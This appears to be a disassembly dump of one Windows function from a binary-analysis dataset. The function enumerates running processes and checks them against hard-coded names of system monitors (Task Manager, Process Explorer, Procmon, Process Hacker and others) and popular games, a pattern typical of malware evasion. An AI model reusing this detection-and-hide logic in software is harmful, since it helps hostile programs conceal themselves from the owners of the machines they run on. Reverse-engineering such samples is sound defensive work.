Function at 0x140024f20
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x180]
sub rsp, 0x280
mov rax, qword [0x1400dc160]
xor rax, rsp
mov qword [rbp + 0x170], rax
xor edx, edx
lea ecx, [rdx + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x30], 0x238
mov rcx, rax
mov rdi, rax
call sub.KERNEL32.dll_Process32FirstW
lea rdx, [rsp + 0x30]
mov rcx, rdi
call sub.KERNEL32.dll_Process32NextW
test eax, eax
je 0x14002557e
lea rsi, str.taskmgr.exe
lea r14, str.Taskmgr.exe
lea r15, str.dota2.exe
lea r12, str.csgo.exe
lea r13, str.payday.exe
lea rbx, str.Overwatch.exe
xor ecx, ecx
lea r11, str.Prey.exe
lea r10, str.GTA5.exe
lea r9, str.TheDivision.exe
lea r8, str.Minecraft.exe
lea rdx, [rsp + 0x5c]
nop dword [rax]
movzx eax, word [rdx + rcx*2]
cmp ax, word [rsi + rcx*2]
jne 0x140025007
movzx eax, word [rdx + rcx*2 + 2]
cmp ax, word [rsi + rcx*2 + 2]
jne 0x140025007
add rcx, 2
cmp rcx, 0xc
jne 0x140024fe0
mov al, 1
jmp 0x140025586
lea rdx, [rsp + 0x5c]
xor ecx, ecx
nop
movzx eax, word [rdx + rcx*2]
cmp ax, word [r14 + rcx*2]
jne 0x140025039
movzx eax, word [rdx + rcx*2 + 2]
cmp ax, word [r14 + rcx*2 + 2]
jne 0x140025039
add rcx, 2
cmp rcx, 0xc
jne 0x140025010
mov al, 1
jmp 0x140025586
lea rdx, [rsp + 0x5c]
xor ecx, ecx
movzx eax, word [rdx + rcx*2]
cmp ax, word [r15 + rcx*2]
jne 0x140025069
movzx eax, word [rdx + rcx*2 + 2]
cmp ax, word [r15 + rcx*2 + 2]
jne 0x140025069
add rcx, 2
cmp rcx, 0xa
jne 0x140025040
mov al, 1
jmp 0x140025586
lea rdx, [rsp + 0x5c]
or rcx, 0xffffffffffffffff
movzx eax, word [rdx + rcx*2 + 2]
cmp ax, word [r12 + rcx*2 + 2]
jne 0x140025098
add rcx, 2
cmp rcx, 9
je 0x140025000
movzx eax, word [rdx + rcx*2]
cmp ax, word [r12 + rcx*2]
je 0x140025072
lea rdx, [rsp + 0x5c]
or rcx, 0xffffffffffffffff
movzx eax, word [rdx + rcx*2 + 2]
cmp ax, word [r13 + rcx*2 + 2]
jne 0x1400250c8
add rcx, 2
cmp rcx, 0xb
je 0x140025000
movzx eax, word [rdx + rcx*2]
cmp ax, word [r13 + rcx*2]
je 0x1400250a1
lea rdx, [rsp + 0x5c]
xor ecx, ecx
nop
movzx eax, word [rdx + rcx*2]
cmp ax, word [r8 + rcx*2]
jne 0x1400250f9
movzx eax, word [rdx + rcx*2 + 2]
cmp ax, word [r8 + rcx*2 + 2]
jne 0x1400250f9
add rcx, 2
cmp rcx, 0xe
jne 0x1400250d0
mov al, 1
jmp 0x140025586
lea rdx, [rsp + 0x5c]
xor ecx, ecx
movzx eax, word [rdx + rcx*2]
cmp ax, word [r9 + rcx*2]
jne 0x140025129
movzx eax, word [rdx + rcx*2 + 2]
cmp ax, word [r9 + rcx*2 + 2]
jne 0x140025129
add rcx, 2
cmp rcx, 0x10
jne 0x140025100
mov al, 1
jmp 0x140025586
lea rdx, [rsp + 0x5c]
or rcx, 0xffffffffffffffff
movzx eax, word [rdx + rcx*2 + 2]
cmp ax, word [r10 + rcx*2 + 2]
jne 0x140025158
add rcx, 2
cmp rcx, 9
je 0x140025000
movzx eax, word [rdx + rcx*2]
cmp ax, word [r10 + rcx*2]
je 0x140025132
xor ecx, ecx
lea rdx, [rsp + 0x5c]
lea r8, str.re7.exe
nop word [rax + rax]
movzx eax, word [rdx + rcx*2]
inc rcx
cmp ax, word [r8 + rcx*2 - 2]
jne 0x14002518c
cmp rcx, 8
jne 0x140025170
mov al, 1
jmp 0x140025586
lea rdx, [rsp + 0x5c]
or rcx, 0xffffffffffffffff
nop word [rax + rax]
movzx eax, word [rdx + rcx*2 + 2]
cmp ax, word [r11 + rcx*2 + 2]
jne 0x1400251c6
add rcx, 2
cmp rcx, 9
je 0x140025000
movzx eax, word [rdx + rcx*2]
cmp ax, word [r11 + rcx*2]
je 0x1400251a0
lea rdx, [rsp + 0x5c]
xor ecx, ecx
nop dword [rax]
movzx eax, word [rdx + rcx*2]
cmp ax, word [rbx + rcx*2]
jne 0x1400251f7
movzx eax, word [rdx + rcx*2 + 2]
cmp ax, word [rbx + rcx*2 + 2]
jne 0x1400251f7
add rcx, 2
cmp rcx, 0xe
jne 0x1400251d0
mov al, 1
jmp 0x140025586
lea rdx, [rsp + 0x5c]
or rcx, 0xffffffffffffffff
lea r8, str.MK10.exe
nop word [rax + rax]
movzx eax, word [rdx + rcx*2 + 2]
cmp ax, word [r8 + rcx*2 + 2]
jne 0x140025236
add rcx, 2
cmp rcx, 9
je 0x140025000
movzx eax, word [rdx + rcx*2]
cmp ax, word [r8 + rcx*2]
je 0x140025210
lea rdx, [rsp + 0x5c]
or rcx, 0xffffffffffffffff
lea r8, str.QuakeChampions.exe
nop word [rax + rax]
movzx eax, word [rdx + rcx*2 + 2]
cmp ax, word [r8 + rcx*2 + 2]
jne 0x140025276
add rcx, 2
cmp rcx, 0x13
je 0x140025000
movzx eax, word [rdx + rcx*2]
cmp ax, word [r8 + rcx*2]
je 0x140025250
lea rdx, [rsp + 0x5c]
xor ecx, ecx
lea r8, str.crossfire.exe
movzx eax, word [rdx + rcx*2]
cmp ax, word [r8 + rcx*2]
jne 0x1400252ad
movzx eax, word [rdx + rcx*2 + 2]
cmp ax, word [r8 + rcx*2 + 2]
jne 0x1400252ad
add rcx, 2
cmp rcx, 0xe
jne 0x140025284
mov al, 1
jmp 0x140025586
xor ecx, ecx
lea rdx, [rsp + 0x5c]
lea r8, str.pb.exe
nop dword [rax + rax]
movzx eax, word [rdx + rcx*2]
inc rcx
cmp ax, word [r8 + rcx*2 - 2]
jne 0x1400252dc
cmp rcx, 7
jne 0x1400252c0
mov al, 1
jmp 0x140025586
xor ecx, ecx
lea rdx, [rsp + 0x5c]
lea r8, str.wot.exe
nop word [rax + rax]
movzx eax, word [rdx + rcx*2]
inc rcx
cmp ax, word [r8 + rcx*2 - 2]
jne 0x14002530c
cmp rcx, 8
jne 0x1400252f0
mov al, 1
jmp 0x140025586
xor ecx, ecx
lea rdx, [rsp + 0x5c]
lea r8, str.lol.exe
nop word [rax + rax]
movzx eax, word [rdx + rcx*2]
inc rcx
cmp ax, word [r8 + rcx*2 - 2]
jne 0x14002533c
cmp rcx, 8
jne 0x140025320
mov al, 1
jmp 0x140025586
lea rdx, [rsp + 0x5c]
xor ecx, ecx
lea r8, str.perfmon.exe
nop word [rax + rax]
movzx eax, word [rdx + rcx*2]
cmp ax, word [r8 + rcx*2]
jne 0x140025379
movzx eax, word [rdx + rcx*2 + 2]
cmp ax, word [r8 + rcx*2 + 2]
jne 0x140025379
add rcx, 2
cmp rcx, 0xc
jne 0x140025350
mov al, 1
jmp 0x140025586
lea rdx, [rsp + 0x5c]
xor ecx, ecx
lea r8, str.Perfmon.exe
nop word [rax + rax]
movzx eax, word [rdx + rcx*2]
cmp ax, word [r8 + rcx*2]
jne 0x1400253b9
movzx eax, word [rdx + rcx*2 + 2]
cmp ax, word [r8 + rcx*2 + 2]
jne 0x1400253b9
add rcx, 2
cmp rcx, 0xc
jne 0x140025390
mov al, 1
jmp 0x140025586
lea rdx, [rsp + 0x5c]
or rcx, 0xffffffffffffffff
lea r8, str.SystemExplorer.exe
nop dword [rax]
movzx eax, word [rdx + rcx*2 + 2]
cmp ax, word [r8 + rcx*2 + 2]
jne 0x1400253f6
add rcx, 2
cmp rcx, 0x13
je 0x140025000
movzx eax, word [rdx + rcx*2]
cmp ax, word [r8 + rcx*2]
je 0x1400253d0
lea rdx, [rsp + 0x5c]
xor ecx, ecx
lea r8, str.TaskMan.exe
movzx eax, word [rdx + rcx*2]
cmp ax, word [r8 + rcx*2]
jne 0x14002542d
movzx eax, word [rdx + rcx*2 + 2]
cmp ax, word [r8 + rcx*2 + 2]
jne 0x14002542d
add rcx, 2
cmp rcx, 0xc
jne 0x140025404
mov al, 1
jmp 0x140025586
lea rdx, [rsp + 0x5c]
xor ecx, ecx
lea r8, str.ProcessHacker.exe
nop dword [rax + rax]
movzx eax, word [rdx + rcx*2]
cmp ax, word [r8 + rcx*2]
jne 0x140025469
movzx eax, word [rdx + rcx*2 + 2]
cmp ax, word [r8 + rcx*2 + 2]
jne 0x140025469
add rcx, 2
cmp rcx, 0x12
jne 0x140025440
mov al, 1
jmp 0x140025586
lea rdx, [rsp + 0x5c]
xor ecx, ecx
lea r8, str.procexp64.exe
nop word [rax + rax]
movzx eax, word [rdx + rcx*2]
cmp ax, word [r8 + rcx*2]
jne 0x1400254a9
movzx eax, word [rdx + rcx*2 + 2]
cmp ax, word [r8 + rcx*2 + 2]
jne 0x1400254a9
add rcx, 2
cmp rcx, 0xe
jne 0x140025480
mov al, 1
jmp 0x140025586
lea rdx, [rsp + 0x5c]
xor ecx, ecx
lea r8, str.procexp.exe
nop word [rax + rax]
movzx eax, word [rdx + rcx*2]
cmp ax, word [r8 + rcx*2]
jne 0x1400254e9
movzx eax, word [rdx + rcx*2 + 2]
cmp ax, word [r8 + rcx*2 + 2]
jne 0x1400254e9
add rcx, 2
cmp rcx, 0xc
jne 0x1400254c0
mov al, 1
jmp 0x140025586
lea rdx, [rsp + 0x5c]
xor ecx, ecx
lea r8, str.Procmon.exe
nop word [rax + rax]
movzx eax, word [rdx + rcx*2]
cmp ax, word [r8 + rcx*2]
jne 0x140025526
movzx eax, word [rdx + rcx*2 + 2]
cmp ax, word [r8 + rcx*2 + 2]
jne 0x140025526
add rcx, 2
cmp rcx, 0xc
jne 0x140025500
mov al, 1
jmp 0x140025586
lea rdx, [rsp + 0x5c]
or rcx, 0xffffffffffffffff
lea r8, str.Daphne.exe
nop word [rax + rax]
movzx eax, word [rdx + rcx*2 + 2]
cmp ax, word [r8 + rcx*2 + 2]
jne 0x140025566
add rcx, 2
cmp rcx, 0xb
je 0x140025000
movzx eax, word [rdx + rcx*2]
cmp ax, word [r8 + rcx*2]
je 0x140025540
lea rdx, [rsp + 0x30]
mov rcx, rdi
xor bl, bl
call sub.KERNEL32.dll_Process32NextW
test eax, eax
je 0x140025583
jmp 0x140024fb2
movzx ebx, byte [rsp + 0x20]
movzx eax, bl
mov rcx, qword [rbp + 0x170]
xor rcx, rsp
call fcn.14005c600
lea r11, [rsp + 0x280]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret